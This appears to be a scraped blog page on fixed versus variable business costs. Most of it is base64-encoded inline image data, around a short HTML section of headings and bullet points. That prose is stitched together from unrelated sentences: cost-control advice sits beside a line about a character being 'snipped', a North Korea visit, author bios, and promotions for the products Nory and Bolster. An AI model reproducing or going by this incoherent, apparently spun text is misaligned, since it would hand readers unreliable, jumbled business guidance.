z\/wDQ3OOAbAyak0cfOAhF1jUbxapymIS0NwdRhOlPQlGUwm5wc0q3Dk2eJ9mjF6wyOyaP\/oc8sAkaa8CXN2aBcoPpQzj2kkX0aEtLiTB+dmpsmYcoyPE\/9FZnbjWVz0aeEkR0SH0ShKKgcLQcSjrAETCOv\/oj6W0Mq\/TpVlk9TRSzkXEW3Oj79gCgBlakBztP+1WXyL7imezdPlS8\/YaNNgS8J6xFccKEPT\/ySoABKtgp9E9BJ5oPKrWFu1+kUtkNgfypZegHtX1b+1ivoN1NkXsXwpoV9BDFEbstCQLUeI0MEH0ovTNPYA25Xl8qkQuKxyMFES2JReG4ZelHAhpsdbE8GlIa2LGxaHDJShsIIciycSsupGCddPWK1cqb50ucZpeNwAwX4liWm+9HZYw6KNE0f\/BWxDgG1+FaIBCwD1opuwMnp\/jPtutZeLsU3VvksDp\/WkSyRSXSAhDybkm1ATS6Y9Bk8pKSSgiFty5lI7NOUo207kGF579kFOVTDOnrpSJ9tUANw6ZrOY5kUEOCEJXi7vFrTPIIJDnVjiawAk5XehjNZBbuBg6UcX0u530c6nXhe7Lu24UMzInwAymh138SQFiShhIRjU1\/1KgQJKGRi\/TOKBQBVYCsrdyF07ziIXJObS9s5S82i0OIIR4nZhOFeRVhQCyDSQMRxqFCGYQ9HumjiEJFz5kvkpubhZiYJo5AuFGE3NzlSrWBc5IX6iiMNoKQ63Mc4q6Kk2zw0VKmDe5gYR6tAgZcxRxNeUUCYVMEWBJRl17IVslO3SsRkyOiJ0q61EfKlIM15Y4ZFXE42leLD7+MUM1JjrqeafW1Snnkyzvw2NTXyyW2Ro\/6dhjMkONXQwt7P\/aFF6w4f+1BDI4D1qMSuYeVRxPBxzOyxrOBdeRSiuCbvN7EEqgCraAcjgcOxBIcUAh5SwBrSqAs6cR2OFOz8MFyOelb9dYHG+OY06drPVaYPLzolGphl5r3Ykl03bbmy00BULQ4Xfc7NFRGEUFHT+zQCwQhMEsr6yRir+yzNAoeS1ElzzppmGZfC9aB4c4D4lFLkIAMqtOXtYPANvd2xMHD32g+xVsBEzdfcdH\/AFAYEyNPMzNtRwewooMIw1Gw1y0PGM0lFdX+did1QBU+YB\/wOHcgXDIkDcBuHvTcT2s9Ax9KJaCMqBwMg8mplIIJVQcW73hkoV1rep7CwJyEpKXA2US5rTCE4NKnBi21eq3XsJZEsgjRdTg0xIt5fIHMoRXGM7hA+TU6pl1txGzxr1x6RkTRPDzfEKgCnzsjFTHB2OwfadHdG7l3cFDDJGTCbLj3U9ZSIQiZEpvibJqaiajtU\/xPSZPVPb\/UIBEESEaziHc8387UHNFzagJYzWhhf8Th3WCBkSSgwngADof4J0XY+Fh5r6UsC7FS3MTScrPOoMqgNLOxxKWuDJsqSvRrKE9hnFkXEbI1YS77skMagLNF4pFcCR8s0nFIDts4lBoEBcRuJ4UQ3VK0DVayNbtse57Ox+QM4INttz5UCBQEANAqG5ULKWwhxxdmo2JMganMkaEaZwZbSDXY7nl\/ppDqaeu1TQlc15vYvEUrAtMUJRND1aUumjez\/miRnpu23NvR6\/4HFHTAg2Ago3ggJiCQOwya9kkWUp1QencDQCo1Me9Z9AbrEpdQpHJFN46HRHwiG\/ZOige7pSiDMG3GhxdXXsW1NqO3Z2GtWAAAItYAoAIOzVKwkOAMe57KcH5RNEdRp+yBEYRNRqC6yuxw7Pd\/o1vhSubFLM\/Dy5unTsjpY6pDzahknYS\/lQa8Y59MUrJYxZbyqQn+cdHSnYI3yedSurTEBXTl49f8kAMK61vU9kwEr0G7zjs2US5uXhwORpsxV1\/5g+O6IaFBK8DlnanOVgHSQOdpT4PFxsbDxbOKl7WgY0QaBQKAFVgDWoxGxNzj38GlIqCCO5LczTSNIjkdThua0zsWUOqH3NOxLrtW6E2\/VCJJj\/QoBEESEdauzf6x5V6Voe3eQSGoDW4A\/wCWWl05NgdV9OyazPOb+B2Z8RXljDPMYqZiFcLmWk6xvV7nPEEOsQsOIfQ1p3CTkPwbFJ8UAlV0Cg3CSM8nfc+VSXcd+TGamFtxxuDRrLD2i3A7PDsfwpzfJwaaUd9SEiOET\/QpTrM5HMJivxfhX4vwr8X4V+L8K\/F+Ffi\/CvxfhX4vwr8X4V+L8K\/F+Ffi\/CvxfhX4vwr8X4V+L8K\/F+Ffi\/CvxfhX4vwogMJPU6t64enxgrZNgrbBQICiRLiNRKmGXGLNbIaiwVw4fwdtKn9PPhxcMYz\/ACcGmtPeUhKrlVpS5wD3dg1aB8lFLyTjrQA0K4Xya4Xya4XyaEAKsFmoNinFcL5NcL5NJsInk\/FDo9SyZ50AQ4+jPGlnMQT+o69nOJIJzL6mtTqAYD8JqePeS+TkCUcbhV1qKioqKioqKioqKioqKioqKioqKioqOxW0At8xDgnrRA8DdlQg5TYVIhr3TxBw2q9yvhgXXetbcm++jSlVVZWpfxdNh3WhUf4t4vwGxwrVa9W7n0W9eof53B6j+qBKRc4CQOiUuwmcnN34tNeyZim+wcWziod1omE1DRPHerq+j31BtUG1QbVBtUG1QbVBtUG1QbVBtUG1QbVBtUG1QbVBtUG1QbVBtUG1QbVBtX2W1PQUCDHLcQmTeJgbdk1l4TkD58IaYCqsAGrU2l0dnh2cWvZYgiVLP9XQqHBhfLutQ3c9nq3c+i3r1D\/O4PUf12IJDVtEkbc6eSPE3Fw8NOwDfoOiib7OlEIMA680eGzr4YEXATX3H5r7j819x+a+4\/NfcfmvuPzRbkdDEX4Vbxa3G4FfcfmvuPzX3H5r7j81nU4AJcE34+C+y2p6CggmamiABxFnjzpphESHX8vBrAtFpbe8g12Gx51+hoSruaFNhq+1BT0hld11ag59vq3c+i3r1D\/O4PUf12pNQcqNADuNjj2cGtfoash6b0GoajQ1XZQJ3Wp4X1z\/AC\/b7aMeB+y2p6CgeQYMTm1uBD0oFGS9jd9KAAAseGCgbNB3CgM417ghCUEk2trRcoTiSe0QhMMn1tQ0qiJhHdsQxPiPXO8OFEABgcBdFi3f+320Y8CTounfShYpIMqIwLMQwFjqM8ahagXZzxzcvh8+V7vq3c+i3r1D\/O4PUf13cHPxHrnei\/KAIOKNQN5lV5jPJitDvRk3HCcTu\/b7aMf57Y5TTnTzLHIKl3qUR1pPvFJY4hgeNTJwC6yeHz5Xu+rdz6LevUP87g9R\/Xdwc\/EeuUCoBK0ZKcx+KPmTcX7fUdiHjONzlv0XrNlsFvGPTufb7aMdv2ajdoPiyiRNxP8AFBPbtwN6VVVlcvYxmUB1ojmFdGDsTsBs0JMAsNnw2fK931bufRb16h\/ncHqP67sVqgN3oUQsk0ifTnT7A7VBZn7PKlbk7fyg0gAuqn5MzT0r4u52HD0f8J9kklJChYdqI2K4jDDnidjYvF1EuC1C5SgEGUMTGtZmbSDzFTrQF6dM8yKL10jIcEz2euUDkuD7xqZvGAxUNRmGbpQsZCTk9kqliIAM1ag7uiaJwZ9lOluqwbAWDgUC4rCeVQu3mlLyXm0g8RiLK5h8q\/pUfU0+1g4kp4lmYqc+5mXs40m9HHp\/hUCXBSq6tuBp2xBwL5Kgg3R5m\/p2oo6jnp4bPle9+aUd0ikSboY61+6oBEF5qyA5tr91SU1DdhAhrzqfPkqmb5mCO05wyrFJyML7DZ60gQplVlXsvKITNnmaEmGj75oiYW\/yVIECZGydiLY2luPQ5Yq7nET2XYd+8I37hdIpbSAXOIHASevZI7LD1aLnnzqIWfZFt7LdONEc74YESkKqb0sgmzT5IUwZ4mQpKWN17PXKDmBjrNNyIIMxioFDJir40B51j1M3zT3+QWEwU1ibUHW81rBeVNAFgioj7mYKiiEb+7SvaAvZpDvuzPrVZAygrCluwe5QqMC5hWyTxrADMxHGohGET02Mu+lFj3AgdDuKEd2PN5527C7CBJOL\/wBrAt4vmaGClAExS6gKwTpS0cwE7EAZGfKhkHfwufK9\/wBH\/iEwFXK5Ri\/05Vm1T+LCEsdfdRZGf2W\/lSsy5NFvIcq\/l2RU0WhKcnJ0oYRnM306+dJzjBjmeFNYwV2Rbv24VYWTF437EMpQjjtuRCiP5+fF7NIiogJb01zkGIsueHpTn51sDwHg4akxohBKlgbI3L1IipKrXOBjjinYBy5qBHAsN9ydaxplrW\/DJvSsqjsRUnypEplWVo0cDenYBPG3v2EpCN8zECxjZQRDvqxKmL9p7w9iABVwF6auUUlljLfQmgZAUsSN0U61BjC8\/wCxWPLlIkFx4SPej8SuoHEHvpRHxmxtRwVt7S+Ltg7WAcXlfsclzgxUJi2A0RQVYjhal2oJYUuTpVk4cJ7UQ+ibBErvQKwa0IBseFz5Xv8Ao\/8AEJhgCwj7nGov0piNq3uqZBpMc2lik9gB80vMKlnekDAASEetGZ8JEm6y+1CpTRBBWIP7FRhGuuxvQWGtDA7u06UKKQFAFNkwGhU1uXrTLA24au1Bt6BHrWLjHSI5lKSddacqae\/\/ACotrHJFSDVGdYY4J61Aa3UHQsWFKQIQM5JgecvYEQWoR1hydKZr5HCZ4m2z50dEImsAs3GjBE4JiP7QgjkRigGGheD1tNXxlKysxpWU0LsU0VGcyuDlqpeyzZQ9LalIS8d64UjGArTYiQN6TWSx4NekzCoiSsUKzSDbcN0bjE2mgOhITQTmc2mgZgCSzZnZlAbUwhjCGLWihbeV1j60HZBNCTTe9CJvwF33\/CCWIZI4tFxVPARYViXWgIdoVgTF\/wCKESSkBhEaymJO3ekM89a4nL0nsVcs1CYuS6eGz5Xv+j\/yCYtZC5uE32F3qAWtobFOOb+qgW8qUBIwU9XFFKxs0qlMrrU8i0dyA3l5IqNPRLiVnHK2vA4VBO7ReOJ7t6YFC\/oUgRpY6WRTfNOtGDj\/AGkC1m7NRwEk5hdG9KQiZ1twvU86MuDHhDSz6tmgBiaOhYAbd4CUA4WdXzEBVLEUTNYVKCOME9aAwdyhxbnKnpbhFqwfrNPrNOeCfS1IWGWHjNFwnYUAYWIOCNFrCH6Ptq46FoTcvZUYnZkOJDo0MlzcEpxFnOaKDCUCIkkmE9qfSWcEd1heoe0AJZgMHKuLXOiNTbNuDWSJ43qOLougbDXnmiMwgCrgud0y+dGnYFFO1mqb\/OlA78+yF2pZ482gAjI00BIWGoa9OwQRSScUvjCIMkp07QVAJVgCuqHg4eGz5Xv+j7gktjIQIHFKqySjuPeESQBLWm+AbEyf9qZTCWjPpWY5k4l35FNqtbiFvWi44GAJfipkFyFUOP5ogoICwOBSmWED80R1HealbxzGkhT7uNCsscG3k0sp4++szlooGfJp15NGXVhZQsomJZrHn9lNmtm2yWkNHjSk72YNdltQ9KMkiNxbDyrAdmi3Mjjc\/jSqlxq6B\/2gzOw+azWD9Zp9ZpzV7KsD6zQn7t6HhW5qD1oTEZF6PxTU7YABdyBq\/wBbKyecrTGXYbjoFQU9eTml3Uw7LR\/I9yn0plNKZLy2o0xVbL2R0R7L5x6KPegD50hD0avIpALF0ME9actc1KACLXc4vAphXmLQ2KTQHE9u1yGTfAdahX4uhy8Pnyvf9H3BOjBCGLaDR7RJhsFjvTomL\/CtZM1b\/mB5VogAc6rzewY2GMzo4tvSp4wGxV2FmeulJO\/EYf8AtRt8xUoU1m7LUnB3rSi3BtSruVzeMNopjOwRwKibBE2v1oByKkshiJn+VIEZGSntZAdY2jSosHJGLUNz7zPXtXpfrCUM3txWaACClnEk7xRcHWZ61MshfLNCS2dKidw9Y5JGJtSf0wMZmxqwylICVwyYvNHSbY\/KVLzbm8PRmiGCEMs26Uta2zEF+MVdJSkmGHNpNQqdwU9igQoNSP1VqK4vCHoKjlEb\/dNRf3Iwd9EC1ObmjSK841ltT9yW4Wg2NqNmLI2OiqTSWYghMO40iogxF4CPelPQmsoQkqaCNMHzGh+aYKz1ShKJi0ppTDHJBKMIEYqcaoElTzhUJP8AmelJwpth8nwWfK9\/0f8AiEwnMAvlSMZWXuwp1TseBFL8IweIaUoDQIYjA7UpiZCcFuqG9NEyqwuHUdqi5Tf4io+5NRfnKokvYAen+eLIWNV0DjTB2EuhsLx37MkNf1GrwevZ9ttSLiAkgYt2Ii4CSJbjfeKYEBrF2ng841KzeSfKi6+AHKYbxtTEOcSK1taszPgs+V7yhlpDfMd0IJqyG53uJyN0BiwxNCZqck5IydpXlhTktQABrR5Q7lqlICeVnxHq6p8luMNfs6\/Z1+zr9nX7Ov2dfs6\/Z1+zr9nX7Ov2dfs6\/Z1+zr9nX7Op+RYKtznTNmkQKAUUtKLcOLQHyK\/Z1EWLEljzpKI4BJlFzlSgmMf2RrG2ZYvKTTzDIQhtP9qXPrE4pykkSmL3eVWuFkw0+XNQD4LPle99xsd\/6XZ3Cc0J50FIlxhqaLqS8JNAygCA0O0mNfdLFO7lK9avAA3d+BRoAAseFcotTIEiV9I+K+kfFFG\/MVtWOXhVVlZe5NrOHJJDng19I+KnAUCCYOVQdcapSNmTE1ZaYKXG8WetHBhqkdYE+DthyAFpDtUNI6HxXF+Xwri\/L4Vxfl8K4vy+FcX5fClhg1DaF5RXD+b81w\/m\/NcP5vzXD+b81w\/m\/NcP5vzQMxklsjI3ri\/L4Vxfl8K4vy+FcX5fCl9xLWHt3E7JgKBjKS+VIhoPXlQAIDB4ZAIgiQjrTWmmQJwLjFfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqfkqJTaYAvBZWKAAAEAWAPCoAo2AtBH8r8Ar8Ar8Ar8Ar8Ar8Ar8Ar8Ar8Ar8Ar8Ar8Ar8Ar8Ar8Ar8Ar8Ar8Ar8AqPT2tIYobdHGT+NNbQbCfeotCuVutO1u24jNAACAwf+jCP\/jRlpQDCEh1ipa16AMMJuKDkHHJgJoRdmjWRZwBmBuTfumwjIykF451LTViBEwTSAvLQAUxpCTZRuSXvUlLC4XmXBIa27kRCNESwY3at3hZJCRv4+00zgHISIxeenY\/OFDXIsIzLHTuXGAYxqxskXNOxRwUgcWTV3QlLHGs9ht5dMwV7x3A5cIhEkktOV2lQ6mLmBEIL3l7udATcIXE2x4\/7fdRbRjQIC6GGjEkU0YWkpBxWSwCBeGvC+lJtEx5AbHgidGrdnhgVk3hg4UE2zSeoBxzUiN3z93w+VDTjc\/RBAElnWvptlKxQ4YkAeRPWjXEGgCwAUhyIiy6AcVsUVBDLWisKTueVcn2BVBfr0oB+04gbgpM6eVQcBaMxbpmJb0jStYAwKhNiKysvxlCNDapQkLF4t412TR7h\/0NSshuIaE5i1BWz8pqQQvDJ60C34GVvgUdKcuDkl5DeJSpR7CmqBWYG6JLUKOiJAzmM0eAqg0YE1Frc4gc0k6IlXjWjEwiQDdaeSEqCFuW0G8GK+12px31uSi0Ef2rFReJzJoNnyrICzbyQ9K3MliQhPFFeyFUARWhgNW550cFp9i+LEi\/GKVxQBJdjVafggORhhNkLbzUr8wl7xGLUx0OJQJs2W6tnPlF7JblHjft91K6BJQtJ2hhCCo6Aj3TI69eFJaiQRbDnBif+Um6qkrboMEpPOgEQgcK2tAu1SKZwIIF0yS8aiQJqSwVDYCVr6bZSCrosyCLwsjzomLFCT7ZBpBVgZALkMWJq81pixBsiPKo7wAbPI65PWoeoUupAYvNi5OlCTmYLTFJwclJ5B0SwZmdN6Ed6qy0A5zMM2xXFtPokdJ8aGpQHCNkp7CgOqTPKQvOk0bYw8AdYPOif1VA1hNyWxe1fYbaAEEGPorjzhEAdYoc8S7cCIRGJr8RVqkclyYkyA1NKBCLhBRkOKHNr7XajsZyMfSIytM7JQCjOdydoMe6l\/h24MvergcEkMwm0zc3G1CsEkAkoAnK0lBZYhzJx9yoKgtxFaOLY51g2ZqwKSbKXkihXuu+4L+Zoi6+N0TKcpKHxwLUbSayLelZ0aeQ2kvLzuM38bdfoCSMJJckrYCdiRXS5akQxXRKF0OSmXEOiKjKMDM0+dyCwwIoR5VF8QQCBG3RrM0VA80ESITpSeb4DIrdEI8qm4xQhwinI1L1DA2YwsBKVoECCIkiOjSpnJTyMYOlTD6ktUomTvTXU569RB0oISowzqVyrvmgEsQNJcpqaNJGLMQBiNIxRS7Acmbm2aE1rJzzN+tABB45OAlthduui0xWmxEyZ8zRpVLAwsKQLZRzmjkkgGhg5auNXX6AsDAS3YKtmkmhzG5jkU7Gd+s+uI4YqA53PBhbrEm1QkMKsEMpSVzMUZoYzKzFwvKoqqyKBEEmDBgo8LAOhNFRPWnpPYZIxdGTsMCCLothBjhii8wVoDIxJir0o32XmIHpirvhkJYWyMcyoAstaUxdGtFAcJVj7ovSp7VAQ7LFy8b5pcwGb0YGGKamUsVJrIX\/APHS\/9k=\"\/><\/p>\n<h2>Understanding Fixed Cost<\/h2>\n<ul>\n<li>By optimizing inventory levels and implementing efficient supply chain management practices, the store can minimize its variable costs and improve overall profitability.<\/li>\n<li>So, you have to look at other areas where you can minimise your spending, like your variable costs.<\/li>\n<li>But all of this is a mere backdrop for a journey of the soul that Bull undergoes when he learns that he\u2019s about to get snipped.<\/li>\n<li>Jami has collaborated with clients large and small in the technology, financial, and post-secondary fields.<\/li>\n<\/ul>\n<p>The evaluator needs to consider which product is driving the expenses; oil, gas or both. Properties with large amounts of water production may drive the need to forecast total fluids to correctly forecast expenses. Nory success story \ud83e\udd73 See how Badiani UK achieves 96% sales accuracy with Nory! By tracking inventory and sales in one location, Badiani can now optimise its inventory orders and create optimal labour schedules to meet demand.<\/p>\n<ul>\n<li>If they\u2019re making a big dent in your profits, you can easily see it in the system.<\/li>\n<li>The variable costs would include the cost of purchasing inventory, packaging, and transportation.<\/li>\n<li>Potential coffee shop owners must keep a keen eye on these costs, continuously monitor industry benchmarks, and make informed decisions based on solid financial insights.<\/li>\n<\/ul>\n<p>This proactive approach ensures that your cost control strategies remain effective and adaptable to changing market conditions. Not all costs are strictly fixed or variable; some are mixed costs (also called semi-variable costs). These contain both a fixed component (e.g., a base fee) and a variable component that fluctuates with usage or production. Differentiating between fixed and variable costs aids in crafting effective pricing strategies that enhance competitiveness while ensuring sustainability in the market landscape.<\/p>\n<p>Nory success story \ud83e\udd73 Discover how Rocksalt uses Nory to accurately track prices and supplier costs, allowing them to make instant changes to optimise spending. The visit was tightly controlled, with guides and guards accompanying them and a fixed itinerary that could not be diverged from without permission from North Korean authorities. She holds a Bachelor of Science in Finance degree from Bridgewater State University and helps develop content strategies. With a profound comprehension of these costs, the dream of transforming every espresso shot into a lucrative venture becomes more attainable. At&nbsp;Bolster, we\u2019ve made it easy to set up your construction estimates exactly how you prefer them, and our system is flexible and innovative. So, if you need something that can cope with all the new estimating demands of a growing construction company, we\u2019d love to show you how we can help.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width=\"603px\" alt=\"Fixed Vs Variable Costs With Industry Examples\" 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mbR9WqvtIkccxgdQ3dUBMbqrjkgbiDxO+2+3fLhDp6t+EVQWHZx5EfDcfT3745krco3BACspUr8QRsd\/jm3e7JJGjiV3Q4AlauqjiPAj2B23Hs9wfgwbfHwTE9KoerV4K5PIwRCMt+UQzHl+vlvjsLncptuKbObJYYmFzoLioXOgubmomEzoLigXOguAJBM64YqFzoLgCPDEksRFzEJIzIPOMOpcAfFQd8R6qkmjoXZK4Jnjq2HhAG58RYmKbD3nkBlM6c0LQhp+k3ZfBWYmtJFdDlbMl2bbkrTJ7bs8pIKn4d8A0AR+\/bv8du+dcMoOs9R6g761LXmrVYtFbj4E8PM2ikC2HeWQsDFEwYKCvw3xn1T1lqMDxz8Xr0GqV7Blirx3PBeQF5fXEMgkSILtsVHxwDRbVRZI3jPJVdGQlGKMAw2JV17qe\/mMg9A6OhqWBZM1q1MkTQRNZkR\/BicqzqnBBuW4r7Tbn2chBJak6laSKwrVvuCs8ULKBE\/OZuPtE7qC4Vi3wG2J+jvq25NcSnqbGKzNBI6QGqiwSPGQXanbikKyRBN+zd\/fgGgiMe73+\/PeGL8cOGAIcMOGL8MOOAN+GBTHHHPOOAN+OecMccc844A3K54UxxxzwrgDbjnJTHJXOSuANyuclccFc5K4A2K5yVxyVzkrgDUpnJXHJXOCuANiucFcclc4K4A2K5wVxyVzgrgDVlzhlxyy5wy4A1ZcTZcdMuJsuANWXE2XHTLibLgDVlxJlx2y4ky4A0ZcSZcdsuJsuAKquKquCriqjABVxRVz1VxRVwAVcUVc9VcUVcA8VcqOv02issyuE8X8IhI7MPZ8WM9+\/td\/wDvDLmq4ncoxzqFkXkAdxtuCp+IPx75DXpd5HBJSnwszvTjxKn6e+XPpBjNKVbuAR+zKpdg8GaWLckI52J8yN+3llh6HthC4\/GbsD7133AIzhzjiWDoU5LBJdbrDc8NF3LV3IjdNiFY7B2G42I9kD9WN+ltFEB8Qyylj57y7hiD7g3yB28l+ORWuF66oImUpD7DAjzLDsxIPx388mIJ9P8AV\/E21D1hlKqsdycFiQOJUpVMXnv2Px+jJ6NNS6m+W0WnQJeDbO0jttwZpO+6FiyjfbvsW8zkpqB23Vdvb+nbb3d\/o88qPQkdwJtck8QseI5qPEUE\/JZ1A3O3v29+WXUiC5A+AH\/\/ADvmO7\/Fwo0qyxzGrL3\/AEbft2z0LnYXOwudqKwkjmN5ZwFzoLigXOgubGDgLnQXFAudBcATC50FxQLnQXAEguQdTovS4rAtx1IEsBmkVwp2WRvlSJHvwSQ\/lKN8sYXPQuAQWq9KafbmE9itFLLsgLsCOYQ7oJFB2lCnyD74nqfTWl3pS80ME8iqscmzkEopJWOZI32dB39l9\/fljC5hX7nMk9QdYgkn9+Rf7xcH\/gBgGv2NAqSTxWXhjM8MTQRybEFYW84tlOzR+fsnG+j9J6fTl8atXjikCsisOZ8NHO7LErttEpPuTbLBxw44Ajxw44vxw44Ahxw44vxw44Ahxzzji\/HDjgDfjnhXHHHPCuANyuclccFc8K4A3K5yVxd9htuQN\/Lcgd\/o3zwrgDcrnJXHBXOSuANiuclccFc5K4A2K5wVxyVzgrgDYrnBXHJXOGXAGzLnDLjllxNlwBsy5wy44Zc4ZcAbMuJsuOWXE2XAGzLibLjllxNlwBqy4my45ZcTZcAasuJMuOmXEmXAFVGKqM8UYoowD1VxVVzxRiqjABVxRRgoxVRgAq4oowUZ0joJK8bs8frNmKsrxgF1eUnYruNgQATv9GYbwZSyZ91xEVtSEDYgISPfsY1P\/wA\/9eN9IuBQGB2I\/wCHbGOgyeNTRjzZyXErSRiJmmV2Ez8OZ2UyhyCT5bY1lidSeJ\/V32\/VnHqR4pMupYReen447DOz77FSjgn2CNwQePvb6ck6WgQb8k8QJ71EjhW\/UDlD6f1v1aT8KG8Nuzbd\/wDVl5p9WVyFCB9+397fbb3d+O2YVPBvGpgtcCKqKEAUD4Z7vy7jYg+8d99iQf2EEfqxrFb8cJwUhPedtt\/goH\/zzrRYlCScfCB9av8ANV7TcorQHKUe8GCeoQcnto\/jIqrzEdBc7C50q52FzplM5C52FzoLnYXAOAudhc7C50FwDgLnQXOwudhcATC50FxQLnQXAE1XMF\/c3j\/lD1l\/LIv94u59ABcwP9zYP+UXWf8ALIv95u4BvAXKD0T1HPcu6gs1hxHUu3IFgWiRB4MDEKWuFNi+3fbf3ZogXK3ovSRqzWWS1O1e3YsWZabx1zFzs78wsgj8QLud\/PAGkXWURptfevajqnwvVXbwS1zx5FigEMayclLu6bc9vlDELnXsFeK09mvagmqPUWWqRE8pW7IIoJIjG5R1Lch5\/inHNfoONaR097VuSqnheqK3hBqfgSiaAxyLHykKMqbc9+y4WOgYZo7As2LE89mWnJLabwlk2oyrNBEiInBYwyn3fjnAEV66rhLhmhswz0pq9d6jLG00klzh6oIuDlD4hkUdz2775xZ68ghWYT17cViCxUrvV4xPKWunjXeMo\/F0J3HY+45Iat0PWsvflZ5lkvPTl5oVBrzUAPV5Ydx5hlU7Nv5YmnQsLcpJ557Fh7VS1JYcRqzGk3KCIJGgVIh37D8o4BEV\/SPEzuslHUIVhux0LUjrBwrTzeH4PLjLvIrCWM7pvtyG+Ly9b1a4tmVppHXVX0+KJhFH+FESy8I23CiEIGbk\/fz+jJa90ZBKlxGkmAu36+oSbFd0lrCuFRO38GfVl8\/yjjO\/6Pakqze3KskmonU0l2jYw2GjERVUdeLxcNxs35WANoev6skdV445S9qzNVWNmhjEc1f+EV5WfgSe23EnffLhxyv650cLlEUJrDmI8hMVr1AZVb3BfC4xMPcy98scEARVRd+KKqjc7nZQANz7zsMATK5yVxwVzkrgGZvXqWte1KLVBE4gq0m0+KyQIRA6yGxNErnj4njLsWHcbDEuqOp7UTao1exBAulR1jBVeNZGveJCso3YnkVct4a8Pep880LU9Hq2ShswQTmM7oZoY5Sh+Kc19k\/ozy1pFWSWOaSCCSaIfgpXhjaSMfxHZd1\/VgGa9RdUamjaxPFJDFDpXqDiBoA7S+sRo8yPIW9ke0dtu\/fJelrNw6nLUsuIknSQ6f4CxSxsiRKWMxI5pYR+R2PbbbLpNp0D+LziiYT8fG5RofG4DZPF3Ht7Ae\/EotKrJK1hIYEnccXnWJFmZe3stIByI7Dz+GAZT0brktfRKAlvTS27U86RkRQyShozK7ws0x4qAEJ5P392P9F6j1K\/Bo4jkhglux32sS+Csm\/qjcEaJOXFWPY+8dzl\/k0GkysrVapV5PGZTXiIaX51hx7yfxsVioQJw4RRJ4YcR8Y0XwxId5Amw9kMe52wDLF1K9Zs9MyyWvA8WTUYrKxoqRWJK6OO6Odvb8P5Pu92agy5zNpddlRGhhZYn8SNWijKxyAk+IgI2V9yTuPicXIwBuy5V+uL9mJ9NgrSLC1276u8hjWQqgrzTHirdt94wO+W1lyD6p0AXvViJpa0lSwLEUsSxswYRvGQRKpBUq5wCrWep5qrW61x+UlWfTglitEqmWG\/MsUYkiclVcPyU7e7uNsl4uqIGkvKVZI6HPx5XZB\/BoJGIi5c+Gx7MR7jhN0TXeGaN5J5JbFmransuytNI9SWOSFfk8UiHhheKj3n34aj0fBZtPasu8vKvNWWPjFGFinADqzonOTsvbkcAiq3pBovHPI4liENVbux8NzJAx4jgInO0nLiOB\/KGPrnUXhLX8StYWxalMVervAZJCIzKzlhJwRAgYnc+7CDouEU5aMssk0EkIgXeOCOSNV+SRJFGCzjZe7fk51a6YaRK\/iWrD2asplr2+MAkTlGYWUxhODKUJ33HvwBg\/WcHCErBZeaW3LR9WVY\/FjsxRtI6SEvxC8V35b7dxnMXWEMkUDJDYaexPPWSp+DWYS1i4nDkvwVF8Mnlv7xj+l0pBD6uweV5ILU1x5G487FieJ4pHl2GwHF\/JfyRjex0jF7DxSywzxWrNuKdRGzI1ot4yFXXi0ZDkbH4DAGX9WMLJAUhsvLPZnp+rqsfixWK6u0iSEvxA2Q+1vt3GIaT1pDYeuPV7UKWZ5qqSSrGEFmDn4kJCvv2MTjl5dslaPSsEPqxV5GevYntM7ceVieyjrK8uw2\/HJ2XbyGJxdLwotZQ0m1W7PdTfj7UlgzFlbt8geO3l8BgEHF1vWWKH+FmllW1IFbwY38OtMY5GPJgvytgAPPH0fU8EklSOJXc3K4sxklIx4RIHlI27ON9yq\/DE06Frx+rvFJIk9cWEWYrFKWjsy+PIjpIhUgOBsfox5rfTqWvVxLI\/Cu0UgVY4QWkiYMrh+HKPcgdk2wCSYYkwxw4xNhgHajFVGcqMVUYB0oxRRnijFUH6\/o+n3bYB6oxRRj+rpL7r4vKIN8lVQy2H+hK6e17j7TbD6c66iQ6bBPaswB6ES8hHG3O1YVisRW3P8AJroJHVSke22\/tEjscEkaTe55V0yZ0MvHjEvdpZCEjUfHm3u\/RlK9Jkcws1qtaVJCY0twPEzoGs1bMEkkQcgMnJJa1cN29q8P1Xi3qjpK8STeAlfTrNmvNK6ySJJBalDeBFNII4Y\/Vqzp7I37bn6cc6quyWRNch8WYpft1LMzOo9ZiAKanHF5KzvXFWQGMbjZieyg4JlSS3FtJYlfHCkU7U+1Qu\/KRY5I\/HrpJuNwTAR57neKQHuMeW9OPmAfo9\/6sja8tVjYkhjWeo1aGGOR1HATNMWiuRoy+y0dgx+Jx22cznt4y5ZNB1qJYRHqctOrahnWtJD4h9otyEUiBiWkBZCu69u6N8k7ilcW7zmJJF7EbFoofbxFOx948v8AVlv6Z0CJAOxPfyJ3\/VkxRoxMp47Hb4bDidt9iPMe47H44uluOFuHJfE7BUJAbkQSqefyjxOw9+3bK0VJvBh4F7U0VWF7Ex4RRKWOw3J28lRQN2YnsAPjkRpVk+F4\/i8TJG1\/1eSLgYrFivXV677nd34Swpse+4U+7K3Y1aDXbFSjHanrTetSyzQTQGJVrVo1dlRZI+M+8XjuWRj5J292WjqmRpWqw24h4WoXq8s0sGzNSNJo5bb8l7+Erx1VDDy8Bh322zoW9Dgy2JJSwi0x0hJsa7eKN+LK49XljbgX2eOY9h7Mg3B\/vbAb4lJEUYo4KuPNGGzD6SD7sj7NYwgyQ1U9cmirPMkU3CBt+csE6zp\/As09eJt0995u+PuntVNhrkFaJbMypBPLG0w2SazVlseGhkjKuVZG9pwpO\/ytgMn5ETpZWYnajOwuPDVQ1o51buw9tG4rxYOI27cyVUOyLvuflgkgY34bEgghh5g+YwQyi1zOQudhc6Vc7C4NTkLnQXOgM7AwDgLnQXOwudBcA4VcwL9zSP8AlH1p\/LIv95u59BqufP8A+5mH\/KPrX+Ww\/wC83cA30LnvHFeOe8cArOsdYafUmaGaRw0ZjEzJDNJDXM23hesTIhSHluPlH3jIzQuq5LevahpqLwrafWrsWNeXlNNPyYsLBbgsYAXYbe17RB7Zx1B0FPYfU44rEUdPWHhe6jws9hDHHHDIK8gfiA8cSj2h2O+T+h9OerX79wOCt2OjGsfHZo\/U45IyWf8AG5eIP2YBD0+qpJdZs6YBWhFXwvZsO62rSSRq5mrJtxaJSSvv+SfLJbTepKllp1gaWQV\/EEkq15zCWhbjKkUwTjK6t24pv5HI3qzo6fUrdWSeSqlenajtRNHXcXx4ffwRYL7KjN2JA7jtnGg9IXqdK1p0NyNK7rb9SnWFhbrtZdpFMj8+L8Gdu4A37YBxrPW0IrWnqE+sVZqccsNmCaFkW